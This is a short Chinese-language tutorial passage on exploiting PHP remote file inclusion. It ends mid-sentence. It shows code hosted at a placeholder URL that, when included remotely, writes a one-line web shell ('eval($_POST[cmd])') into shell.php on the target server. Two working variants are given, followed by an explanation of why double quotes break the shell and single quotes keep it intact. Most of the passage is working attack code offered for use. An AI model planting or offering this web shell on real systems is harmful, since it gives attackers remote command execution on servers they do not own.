远程包含shell
需要allow_url_open=On,才可以尝试远程包含一句话木马:
http://www.xxx.com/echo.txt, 代码如下。
<?php
fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')
?>
或者
<?php
$b='<?php eval($_POST[cmd]);?>';
$a=fopen('shell.php','w');
fputs($a,$b);
fclose($a);
?>
其中出现了报错,实际是因为一开始的代码是这样的。归根结底是单引号和双引号的问题
<?php
fputs (fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>")
?>
双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。 单引号里面的不进行解释,直接输出。 通俗点来说就是双引号里的变量会执行,单引号里的不会执行,相当于字符串 如果把一句话木马用双引号包起来,那么执行php代码的时候,他会执行$_POST[cmd],又因为没有POST没有接收到值所以变空。
如果变为单引号,执行php代码时则为: